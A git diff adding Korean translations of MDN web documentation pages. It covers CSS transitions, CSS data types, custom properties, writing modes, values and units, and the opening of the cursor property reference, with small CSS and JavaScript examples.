+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_2s",275,150)}}
+
+ +
+

transition-delay: 4s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_4s",275,150)}}
+
+
+
+
+ +

다음과 같이 단축 CSS 문법을 사용합니다.

+ +
div {
+    transition: <property> <duration> <timing-function> <delay>;
+}
+ +

트랜지션 완료 감지하기

+ +

트랜지션을 완료하면 발생하는 단일 이벤트가 있습니다. 모든 표준을 따르는 브라우저에서 그 이벤트는 transitionend이며, WebKit에서는 webkitTransitionEnd입니다. 자세한 내용은 맨 아래의 호환성 테이블을 참고하세요. transitionend 이벤트는 두 속성을 제공합니다.

+ +
+
propertyName
+
트랜지션을 완료한 CSS 속성의 이름을 나타내는 문자열
+
elapsedTime
+
이벤트가 발생한 시점에 해당 트랜지션이 진행된 시간을 초로 나타내는 실수. 이 값은 {{ cssxref("transition-delay") }} 값에 영향을 받지 않습니다.
+
+ +

평소대로 {{ domxref("element.addEventListener()") }} 메소드를 사용하여 이 이벤트를 모니터링할 수 있습니다.

+ +
el.addEventListener("transitionend", updateTransition, true);
+
+ +
노트: 트랜지션을 중단하면 transitionend 이벤트는 발생하지 않습니다. 트랜지션을 완료하기 전에 애니메이션하고 있는 속성의 값이 바뀌기 때문입니다.
+ +

속성값 목록이 다른 개수를 가진 경우

+ +

어떤 속성의 값 목록이 다른 것보다 짧다면, 일치되도록 그 값을 반복합니다. 예를 들면,

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+
+ +

위는 아래와 같이 처리합니다.

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}
+ +

비슷하게, 어떤 속성의 값 목록이 {{ cssxref("transition-property") }} 목록보다 길다면, 그것은 끝을 잘라냅니다. 그래서, 아래의 CSS가 있다면,

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}
+ +

위를 아래와 같이 해석합니다.

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}
+ +

간단한 예제

+ +

이 예제는 사용자가 마우스를 해당 요소 위에 올려놓고 애니메이션 효과가 시작할 때까지 2초의 딜레이가 있는 4초짜리 폰트 크기 트랜지션을 수행합니다.

+ +
#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+
+ +

메뉴 하이라이팅에 트랜지션 사용

+ +

CSS의 흔한 사용은 사용자가 마우스 커서를 메뉴 위에 올려놓을 때 그 메뉴 아이템을 하이라이팅하는 것입니다. 트랜지션을 사용하여 효과를 훨씬 더 매력적으로 만들 수 있습니다.

+ +

코드 스니핏(snippets, 역자주: 재활용이 가능한 소스 조각)을 보기 전에, (여러분의 브라우저가 트랜지션을 지원한다고 가정하면) 라이브 데모를 보고 싶을지도 모르겠습니다. 그것이 사용한 CSS를 직접 볼 수도 있습니다.

+ +

우선 HTML을 사용하여 메뉴를 설정합니다.

+ +
<div class="sidebar">
+  <p><a class="menuButton" href="home">Home</a></p>
+  <p><a class="menuButton" href="about">About</a></p>
+  <p><a class="menuButton" href="contact">Contact Us</a></p>
+  <p><a class="menuButton" href="links">Links</a></p>
+</div>
+
+ +

그리고 우리 메뉴의 모습과 느낌(look and feel)을 CSS로 만듭니다. 관련 부분이 여기 있습니다.

+ +
.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  background-color:white;
+  color:black;
+  box-shadow: 2px 2px 1px black;
+}
+
+ +

이 CSS는 그 요소가 {{ cssxref(":hover") }} 상태일 때 배경과 텍스트 색상 모두를 변경하면서 메뉴의 모습을 설정합니다.

+ +

그 효과를 장황하게 설명하는 대신, 브라우저가 트랜지션을 지원한다면, 라이브 샘플을 살펴보세요.

+ +

트랜지션을 이용하여 JavaScript 기능 부드럽게 하기

+ +

트랜지션은 JavaScript 기능에 아무것도 하지 않고 훨씬 더 부드럽게 보이도록 하는 훌륭한 도구입니다. 아래 예제를 보세요.

+ +
<p>Click anywhere to move the ball</p>
+<div id="foo"></div>
+
+ +

JavaScript를 사용하여 공을 어떤 위치로 움직이는 효과가 일어나게 할 수 있습니다.

+ +
var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.left = (ev.clientX-25)+'px';
+    f.style.top = (ev.clientY-25)+'px';
+},false);
+
+ +

추가 노력 없이 CSS로 이것을 부드럽게 할 수 있습니다. 단순히 그 요소에 트랜지션을 추가하면 어떠한 변화도 부드럽게 일어날 것입니다.

+ +
p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition:  all 1s;
+}
+
+ +

여기에서 확인할 수 있습니다. http://jsfiddle.net/RwtHn/5/

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '', '') }}{{ Spec2('CSS3 Transitions') }}Initial specification.
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/css/css_types/index.html b/files/ko/web/css/css_types/index.html new file mode 100644 index 0000000000..a819349900 --- /dev/null +++ b/files/ko/web/css/css_types/index.html @@ -0,0 +1,100 @@ +--- +title: CSS 자료형 +slug: Web/CSS/CSS_Types +tags: + - CSS + - CSS Data Type + - Overview + - Reference + - 자료형 +translation_of: Web/CSS/CSS_Types +--- +
{{cssref}}
+ +

CSS 자료형은 CSS 속성과 함수가 받아들이는, 키워드와 단위를 포함한 일반적인 값을 정의합니다. 자료형은 Component value type의 특별한 종류입니다.

+ +

형식 구문에서 자료형을 나타낼 땐 부등호 "<"와 ">"로 감싸서 표기합니다.

+ +

참고서

+ +
+
    +
  • {{cssxref("<angle>")}}
  • +
  • {{cssxref("<angle-percentage>")}}
  • +
  • {{cssxref("<angular-color-hint>")}}
  • +
  • {{cssxref("<angular-color-stop>")}}
  • +
  • {{cssxref("<attr-fallback>")}}
  • +
  • {{cssxref("<attr-name>")}}
  • +
  • {{cssxref("<basic-shape>")}}
  • +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("<calc-product>")}}
  • +
  • {{cssxref("<calc-sum>")}}
  • +
  • {{cssxref("<calc-value>")}}
  • +
  • {{cssxref("<color>")}}
  • +
  • {{cssxref("<color-stop>")}}
  • +
  • {{cssxref("<color-stop-angle>")}}
  • +
  • {{cssxref("<counter-style>")}}
  • +
  • {{cssxref("<custom-ident>")}}
  • +
  • {{cssxref("<dimension>")}}
  • +
  • {{cssxref("<filter-function>")}}
  • +
  • {{cssxref("<flex>")}}
  • +
  • {{cssxref("<frequency>")}}
  • +
  • {{cssxref("<frequency-percentage>")}}
  • +
  • {{cssxref("<gradient>")}}
  • +
  • {{cssxref("<ident>")}}
  • +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<integer>")}}
  • +
  • {{cssxref("<length>")}}
  • +
  • {{cssxref("<length-percentage>")}}
  • +
  • {{cssxref("<number>")}}
  • +
  • {{cssxref("<number-percentage>")}}
  • +
  • {{cssxref("<percentage>")}}
  • +
  • {{cssxref("<position>")}}
  • +
  • {{cssxref("<quote>")}}
  • +
  • {{cssxref("<ratio>")}}
  • +
  • {{cssxref("<resolution>")}}
  • +
  • {{cssxref("<shape-box>")}}
  • +
  • {{cssxref("<shape-radius>")}}
  • +
  • {{cssxref("<string>")}}
  • +
  • {{cssxref("<time>")}}
  • +
  • {{cssxref("<time-percentage>")}}
  • +
  • {{cssxref("<timing-function>")}}
  • +
  • {{cssxref("<toggle-value>")}}
  • +
  • {{cssxref("<transform-function>")}}
  • +
  • {{cssxref("<type-or-unit>")}}
  • +
  • {{cssxref("<url>")}}
  • +
  • {{cssxref("<url-modifier>")}}
  • +
  • {{cssxref("<zero>")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Values') }}{{ Spec2('CSS4 Values') }}
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_variables/index.html b/files/ko/web/css/css_variables/index.html new file mode 100644 index 0000000000..56efa433e7 --- /dev/null +++ b/files/ko/web/css/css_variables/index.html @@ -0,0 +1,37 @@ +--- +title: CSS Custom Properties for Cascading Variables +slug: Web/CSS/CSS_Variables +translation_of: Web/CSS/CSS_Variables +--- +
{{cssref}}
+ +

CSS Custom Properties for Cascading Variables

+ +

캐스케이딩 변수를 위한 CSS 사용자지정 속성은, 반복적으로 사용가능한 사용자지정 속성을 만들 수 있게 해주는 모듈입니다.

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("--*")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}}Initial definition
diff --git a/files/ko/web/css/css_writing_modes/index.html b/files/ko/web/css/css_writing_modes/index.html new file mode 100644 index 0000000000..a69bc088cc --- /dev/null +++ b/files/ko/web/css/css_writing_modes/index.html @@ -0,0 +1,57 @@ +--- +title: CSS Writing Modes +slug: Web/CSS/CSS_Writing_Modes +tags: + - CSS + - CSS Writing Modes + - Overview + - Reference +translation_of: Web/CSS/CSS_Writing_Modes +--- +
{{CSSRef}}
+ +

CSS Writing Modes는 다양한 국제 쓰기 모드를 정의하는 CSS 모듈입니다, 좌에서 우(가령 Latin 및 Indic 스크립트에 사용됨), 우에서 좌(가령 Hebrew 또는 Arabic 스크립티에 사용됨), 양방향(좌에서 우 및 우에서 좌 스크립트를 섞을 때 사용됨) 및 세로(가령 일부 Asian 스크립트에 사용됨) 등.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("direction")}}
  • +
  • {{cssxref("glyph-orientation-horizontal")}}
  • +
  • {{cssxref("text-combine-upright")}}
  • +
  • {{cssxref("text-orientation")}}
  • +
  • {{cssxref("unicode-bidi")}}
  • +
  • {{cssxref("writing-mode")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Writing Modes')}}{{Spec2('CSS3 Writing Modes')}} 
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
diff --git "a/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" "b/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" new file mode 100644 index 0000000000..94d8ceabd6 --- /dev/null +++ "b/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" @@ -0,0 +1,497 @@ +--- +title: CSS 단위와 값 +slug: Web/CSS/CSS_단위와_값 +tags: + - CSS + - 값과 단위 + - 안내서 + - 참조 +translation_of: Web/CSS/CSS_Values_and_Units +--- +
{{CSSRef}}
+ +

모든 CSS 선언은 속성 / 값 쌍을 포함합니다. 속성에 따라 값은 하나의 정수 또는 키워드, 여러 개의 키워드, 단위가 있거나 없는 값의 나열이 될 수 있습니다. CSS 속성에 허용되는 공통적인 자료형(단위와 값)의 집합이 있습니다. 아래는 이들 자료형 대부분에 대한 개요입니다. 더 자세한 정보를 보려면 각 자료형의 페이지를 참고하세요.

+ +

텍스트 자료형

+ +
    +
  • {{cssxref("<custom-ident>")}}
  • +
  • <ident>로서 미리 정의된 키워드
  • +
  • {{cssxref("<string>")}}
  • +
  • {{cssxref("<url>")}}
  • +
+ +

텍스트 자료형은 <string>이거나, 연속된 문자를 따옴표로 감싼 것, 또는 따옴표로 감싸지 않은 "CSS 식별자"인 <ident>가 될 수 있습니다. <string>은 작은따옴표 또는 큰따옴표로 감싸져야 합니다. 사양에서 <ident> 또는 <custom-ident>의 목록에 포함되어 있는 CSS 식별자는 따옴표로 감싸서는 안 됩니다.

+ +

CSS 사양에서는 웹 개발자가 정의할 수 있는 값들, 가령 키프레임 애니메이션이나 서체 가족의 이름, 그리드 영역 같은 것들을 {{cssxref("<custom-ident>")}}, {{cssxref("<string>")}}, 또는 둘 다로서 목록에 표시합니다.

+ +

사용자가 정의한 텍스트 값을 따옴표로 감싸는 것과 감싸지 않는 것 모두가 허용되는 경우, 사양에서는 <custom-ident> | <string>로서 이를 목록에 표시하며, 이는 따옴표가 선택 사항임을 의미합니다. 애니메이션 이름이 바로 그런 경우입니다:

+ +
@keyframe validIdent {
+  /* keyframes go here */
+}
+@keyframe 'validString' {
+  /* keyframes go here */
+}
+ +

몇몇 텍스트 값은 따옴표로 감싸지 않는 경우 유효하지 않습니다. 예를 들어, {{cssxref("grid-area")}}의 값은 <custom-ident>일 수 있으므로, 만약 content라는 이름의 그리드 영역이 있을 때 아래처럼 이를 따옴표 없이 사용할 수 있습니다:

+ +
.item {
+  grid-area: content;
+}
+
+ +

반면, {{cssxref("<string>")}}인 자료형의 경우, 예를 들어 {{cssxref("content")}} 속성의 문자열 값은 따옴표로 감싸져야 합니다:

+ +
.item::after {
+    content: "This is my content.";
+}
+
+ +

일반적으로 이모지를 포함해 여러분이 원하는 아무 이름이나 만들 수 있지만, none, unset, initial, inherit, 숫자 또는 2개의 대시로 시작하는 이름은 식별자가 될 수 없으며, 대부분의 경우 미리 정의된 다른 CSS 키워드와 동일한 이름을 사용하고 싶지는 않을 것입니다. 더 자세한 내용을 보려면 {{cssxref("<custom-ident>")}}와 {{cssxref("<string>")}}의 참조 페이지를 확인하세요.

+ +

미리 정의된 키워드 값

+ +

미리 정의된 키워드 값은 특정 속성의 사양에 정의된 텍스트 값입니다. 이 키워드들은 CSS 식별자이기도 해서 따옴표 없이 사용됩니다.

+ +

CSS 사양 또는 MDN의 속성 페이지에서 CSS 속성의 값에 대한 문법을 보면, 허용되는 키워드가 아래와 같은 형태로 나열됩니다. 아래는 {{cssxref("float")}}에 허용되는 미리 정의된 키워드 값입니다.

+ +
left | right | none | inline-start | inline-end
+ +

이런 값들은 따옴표 없이 사용됩니다:

+ +
.box {
+    float: left;
+}
+
+ +

CSS 전체에 공유되는 값

+ +

한 속성의 사양의 일부로서 존재하는 미리 정의된 키워드와 더불어, 모든 CSS 속성은 CSS 전체에 걸쳐 공유되는 값인 {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}을 받아들일 수 있으며, 이들은 기본 동작을 명시적으로 지정합니다.

+ +

initial 키워드는 속성의 초기 값으로 지정된 값을 표현합니다. inherit 키워드는 해당 요소의 부모에 적용된 동일 속성의 계산값을 표현하며, 해당 속성이 상속된다고 가정합니다.

+ +

unset 키워드는 inherit 또는 initial처럼 동작하는데, 해당 속성이 상속되는 경우 전자, 아닌 경우 후자로 동작합니다.

+ +

네번째 값으로 {{cssxref("revert")}}가 Cascade Level 4 사양에 추가되었지만, 지금은 브라우저 지원 상태가 좋지 않습니다.

+ +

URL

+ +

{{cssxref("<url>")}} 자료형은 함수 표기법을 사용하며, 함수가 URL에 해당하는 <string>을 받는 형태입니다. 이것은 절대 URL 또는 상대 URL일 수 있습니다. 예를 들어, 배경 이미지를 넣고 싶을 때 다음 중 아무거나 사용할 수 있습니다.

+ +
.box {
+  background-image: url("images/my-background.png");
+}
+
+.box {
+  background-image: url("https://www.exammple.com/images/my-background.png");
+}
+
+ +

url() 의 매개변수는 따옴표로 감싸거나 감싸지 않을 수 있습니다. 감싸지 않는 경우, 이는 <url-token>으로 해석되어 특정 문자를 이스케이프하는 등의 추가적인 할 일이 생깁니다. 더 자세한 내용을 보려면 {{cssxref("<url>")}}를 확인하세요.

+ +

숫자 자료형

+ +
    +
  • {{cssxref("<integer>")}}
  • +
  • {{cssxref("<number>")}}
  • +
  • {{cssxref("<dimension>")}}
  • +
  • {{cssxref("<percentage>")}}
  • +
+ +

정수

+ +

정수는 1개 이상의 10진수 숫자(0부터 9)로, 예를 들어 1024나 -55가 이에 속합니다. 정수 앞에는 + 또는 - 기호를 덧붙일 수 있는데, 기호와 정수 사이에 공백이 없어야 합니다.

+ +

숫자

+ +

{{cssxref("<number>")}}는 실수를 나타내며, 소수점과 소수부분을 포함할 수도 있고 포함하지 않을 수도 있습니다. 예를 들어 0.255, 128-1.2가 이에 속합니다. 숫자 앞에도 +나 - 기호를 덧붙일 수 있습니다.

+ +

치수

+ +

{{cssxref("<dimension>")}}은 <number>에 단위를 붙인 것으로, 예를 들면 45deg, 100ms10px가 이에 속합니다. 덧붙인 단위 식별자는 대소문자를 구별하지 않습니다. 숫자와 단위 식별자 사이에는 공백 또는 다른 문자가 들어갈 수 없습니다: 즉, 1 cm는 유효하지 않습니다.

+ +

CSS는 치수를 사용해 아래와 같은 것들을 표시합니다:

+ +
    +
  • {{cssxref("<length>")}} (거리 단위)
  • +
  • {{cssxref("<angle>")}}
  • +
  • {{cssxref("<time>")}}
  • +
  • {{cssxref("<frequency>")}}
  • +
  • {{cssxref("<resolution>")}}
  • +
+ +

다음 절에서 이것들을 다룹니다.

+ +

거리 단위

+ +

거리 단위, 또는 길이가 값으로 허용되는 속성은 {{cssxref("<length>")}} 자료형으로 표시됩니다. CSS에는 2가지 종류의 길이가 있습니다: 상대적 길이와 절대적 길이입니다.

+ +

상대적 길이 단위는 다른 무언가와 비교해 상대적인 길이를 나타냅니다. 예를 들어, em은 해당 요소의 폰트 크기에 상대적이며 vh는 뷰포트의 높이에 상대적입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

상대적 길이 단위들

+
단위비교의 대상
em해당 요소의 폰트 크기
ex해당 요소의 폰트의 x높이
cap해당 요소의 폰트의 대문자 높이(대문자의 공칭 높이)
ch해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, “0” (ZERO, U+0030) 문자로 대표됨.
ic해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, “水” (CJK 물 표의 문자, U+6C34) 문자로 대표됨.
rem루트 요소의 폰트 크기
lh해당 요소의 줄 높이
rlh루트 요소의 줄 높이
vw뷰포트 너비의 1%
vh뷰포트 높이의 1%
vi루트 요소의 인라인 축 방향으로 뷰포트 길이의 1%
vb루트 요소의 블록 축 방향으로 뷰포트 길이의 1%
vmin뷰포트의 길이 중 더 짧은 것의 1%
vmax뷰포트의 길이 중 더 긴 것의 1%
+ +

절대적 길이 단위는 인치 또는 센티미터의 물리적 길이로 고정적입니다. 그래서 이 단위들의 다수는 인쇄물과 같은 고정된 크기의 매체로 출력되는 경우에 유용합니다. 예를 들어, mm는 물리적인 밀리미터, 즉 센티미터의 1/10입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

절대적 길이 단위

+
단위이름다음과 동일함
cm센티미터1cm = 96px/2.54
mm밀리미터1mm = 1cm의 1/10
Q쿼터-밀리미터1Q = 1cm의 1/40
in인치1in = 2.54cm = 96px
pc피카1pc = 1in의 1/16
pt포인트1pt = 1in의 1/72
px픽셀1px = 1in의 1/96
+ +

길이 값을 포함할 때 길이가 0이면, 단위 식별자가 필요하지 않습니다. 그 외의 경우 단위 식별자가 필요합니다. 단위 식별자는 대소문자를 구별하지 않으며, 값의 숫자 부분 이후에 공백 없이 바로 나와야 합니다.

+ +

각도 단위

+ +

각도 값은 {{cssxref("<angle>")}} 자료형으로 표시되며 다음의 값이 허용됩니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
단위이름설명
deg360도가 완전한 원을 이룹니다.
grad그라디안400 그라디안이 완전한 원을 이룹니다.
rad라디안2π 라디안이 완전한 원을 이룹니다.
turn1턴이 완전한 원을 이룹니다.
+ +

시간 단위

+ +

시간 단위는 {{cssxref("<time>")}} 자료형으로 표시됩니다. 시간 단위를 포함할 때는 단위 식별자인 s 또는 ms가 반드시 필요합니다. 아래의 값이 허용됩니다.

+ + + + + + + + + + + + + + + + + + + + + +
단위이름설명
s
ms밀리초1,000 밀리초는 1초와 같습니다.
+ +

진동수 단위

+ +

진동수 단위는 {{cssxref("<frequency>")}} 자료형으로 표시됩니다. 아래 값이 허용됩니다.

+ + + + + + + + + + + + + + + + + + + + + +
단위이름설명
Hz헤르츠1초당 발생한 횟수를 나타냅니다.
kHz킬로헤르츠1 킬로헤르츠는 1000 헤르츠와 같습니다.
+ +

1Hz, 또는 1hz1HZ는 초당 진동수입니다.

+ +

해상도 단위

+ +

해상도 단위는 {{cssxref("<resolution>")}}로 표시됩니다. 이것들은 스크린과 같은 그래픽 표시에서 CSS 인치당, 센티미터당, 픽셀당 몇 개의 점을 포함할 수 있는지를 나타냄으로써 점 1개의 크기를 표현합니다. 다음의 값이 허용됩니다:

+ + + + + + + + + + + + + + + + + + + + + + +
단위설명
dpi인치당 점의 수.
dpcm센티미터당 점의 수.
dppx, x픽셀당 점의 수.
+ +

퍼센트

+ +

{{cssxref("<percentage>")}}는 다른 값의 일부분을 표현하는 자료형입니다.

+ +

퍼센트 값은 언제나 다른 양, 예컨대 길이와 같은 것에 상대적입니다. 퍼센트를 허용하는 속성은 그 퍼센트가 참조하는 양 또한 정의합니다. 이 양은 같은 요소가 갖는 다른 속성의 값이거나, 조상 요소가 갖는 속성의 값이거나, 이 요소를 포함하는 블록의 치수 등이 될 수 있습니다.

+ +

예를 들면, 어떤 박스의 {{cssxref("width")}}를 퍼센트로 지정한 경우, 그 박스의 부모의 계산된 너비의 퍼센트를 참조합니다:

+ +
.box {
+  width: 50%;
+}
+ +

퍼센트와 치수 함께 사용하기

+ +

일부 속성은 두 자료형 중 하나를 선택해서, 예를 들면 <length> 또는 <percentage>를 골라서 치수를 지정할 수 있습니다. 이 경우 사양에는 허용되는 값이 {{cssxref("<length-percentage>")}}처럼 조합된 단위로 기술됩니다. 다음은 가능한 다른 조합입니다:

+ +
    +
  • {{cssxref("<frequency-percentage>")}}
  • +
  • {{cssxref("<angle-percentage>")}}
  • +
  • {{cssxref("<time-percentage>")}}
  • +
+ +

특별한 자료형 (다른 사양에서 정의된 것들)

+ +
    +
  • {{cssxref("<color>")}}
  • +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<position>")}}
  • +
+ +

색깔

+ +

{{cssxref("<color>")}} 값은 요소의 외관 색깔(예: 배경색)을 지정하며, CSS Color Module에 정의되어 있습니다.

+ +

이미지

+ +

{{cssxref("<image>")}} 값은 CSS에서 사용될 수 있는 다양한 종류의 이미지를 지정하며, CSS Image Values and Replaced Content Module에 정의되어 있습니다.

+ +

위치

+ +

{{cssxref("<position>")}} 자료형은 배치 영역 안에서 객체의 2D 위치를, 예컨대 컨테이너 안에서 배경 이미지의 위치 같은 것을 정의합니다. 이 자료형은 {{cssxref("background-position")}}으로 해석되므로 CSS Backgrounds and Borders specification에 명시되어 있습니다.

+ +

함수 표기법

+ +
    +
  • {{cssxref("calc()")}}
  • +
  • {{cssxref("min", "min()")}}
  • +
  • {{cssxref("max", "max()")}}
  • +
  • {{cssxref("clamp", "clamp()")}}
  • +
  • {{cssxref("toggle", "toggle()")}}
  • +
  • {{cssxref("attr", "attr()")}}
  • +
+ +

함수 표기법은 더 복잡한 자료형을 표현하거나 CSS가 특별한 처리를 하도록 지시하는 자료형의 값입니다. 이 문법은 함수의 이름으로 시작해서 바로 왼쪽 괄호 (가 뒤따르고, 함수의 인자를 나열한 다음, 오른쪽 괄호 )로 끝납니다. 함수는 여러 개의 인자를 받을 수 있으며, CSS 속성 값과 비슷한 형식을 가집니다.

+ +

공백 문자는 허용되지만, 괄호 안에서는 선택 사항입니다. (단 min(), max()clamp() 함수 페이지의 주의 사항에서 공백 문자에 대한 내용을 확인하세요.)

+ +

rgba()와 같은 몇몇 레거시 함수 표기법이 콤마를 사용하지만, 일반적으로 콤마는 목록에서 아이템을 구분하기 위해 사용됩니다. 콤마가 인자를 구분하기 위해 사용된 경우, 콤마 전후의 공백 문자는 선택 사항입니다.

+ +

사양

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
사양상태비고
{{SpecName("CSS4 Values")}}{{Spec2("CSS4 Values")}}vi, vb, ic, cap, lhrlh 단위 추가.
+ min(), max()clamp() 함수 표기법 추가
+ toggle() 추가
{{SpecName("CSS3 Values")}}{{Spec2("CSS3 Values")}}calc()chremvwvwvminvmaxQ 추가
{{SpecName("CSS4 Colors")}}{{Spec2("CSS4 Colors")}}rgb()rgba()hsl()hsla() 함수에 콤마 없는 문법 추가. rgb()와 hsl()에 알파 값 허용하며 rgba()와 hsla()를 그것들의 (지원이 중단된) 별칭으로 전환.
+ 색깔 키워드 rebeccapurple 추가. 4자리와 8자리의 16진수 색깔 값 추가, 마지막 숫자(들)이 알파 값을 의미함.
+ hwb()device-cmyk()color() 함수 추가.
{{SpecName("CSS3 Colors")}}{{Spec2("CSS3 Colors")}}system-colors를 지원 중단으로 표시. SVG 색깔 추가. rgba()hsl()hsla() 함수 추가.
{{SpecName("CSS4 Images")}}{{Spec2("CSS4 Images")}} +

element(), image(), image-set(), conic-gradient() 추가

+
{{SpecName("CSS3 Images")}}{{Spec2("CSS3 Images")}}이미지를 처음으로 정의함.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1")}}{{Spec2("CSS1")}}첫번째 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/cursor/index.html b/files/ko/web/css/cursor/index.html new file mode 100644 index 0000000000..113920f9ee --- /dev/null +++ b/files/ko/web/css/cursor/index.html @@ -0,0 +1,315 @@ +--- +title: cursor +slug: Web/CSS/cursor +tags: + - CSS + - CSS Property + - Reference + - Web +translation_of: Web/CSS/cursor +--- +
{{CSSRef}}
+ +

CSS cursor 속성은 요소 위에 마우스 커서가 올라갔을 때 보여줄 모양을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/cursor.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+cursor: pointer;
+cursor: auto;
+
+/* URL, 대체용 키워드 */
+cursor: url(hand.cur), pointer;
+
+/* URL과 좌표 및 대체 키워드
+crsor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* 전역 값 */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+
+ +

cursor 속성은 쉼표로 구분한 0개 이상의 {{anch("<url>")}}과, 필수로 지정해야 하는 키워드 값으로 이루어집니다. 각각의 <url>은 이미지 파일을 가리켜야 합니다. 브라우저는 첫 번째 이미지를 불러오려 시도하고, 실패했을 땐 다음 이미지를, 모두 실패하거나 지정한 이미지가 처음부터 없었다면 키워드 값을 사용합니다.

+ +

<url>은 공백으로 구분한 숫자 쌍을 받을 수 있습니다. 두 숫자는 이미지의 좌상단 모서리를 기준으로, 커서가 상호작용하는 부분의 x, y 좌표를 나타냅니다.

+ +

아래 예제는 <url> 값으로 이미지 두 개를 지정했고, 두 번째 이미지는 <x><y> 좌표도 설정했으며 모두 불러올 수 없으면 progress 키워드를 사용합니다.

+ +
cursor: url(one.svg), url(two.svg) 5 5, progress;
+ +

+ +
+
<url>
+
이미지 파일을 가리키는 url(…), 또는 쉼표로 구분한 url(…), url(…), … 목록. 일부 커서 이미지를 사용할 수 없을 때를 대비해 여러 이미지를 지정할 수 있습니다. 이미지를 사용할 경우 URL이 아닌 값(하나 이상의 키워드 값)을 목록의 맨 뒤에 붙여야 합니다. cursor 속성값으로 URL 사용하기를 참고하세요.
+
<x> <y> {{experimental_inline}}
+
xy 좌표. 32 미만의 {{cssxref("<number>")}}여야 합니다.
+
키워드 값
+
+

행 위로 마우스를 올리면 현재 브라우저에서 보이는 모습을 확인할 수 있습니다.

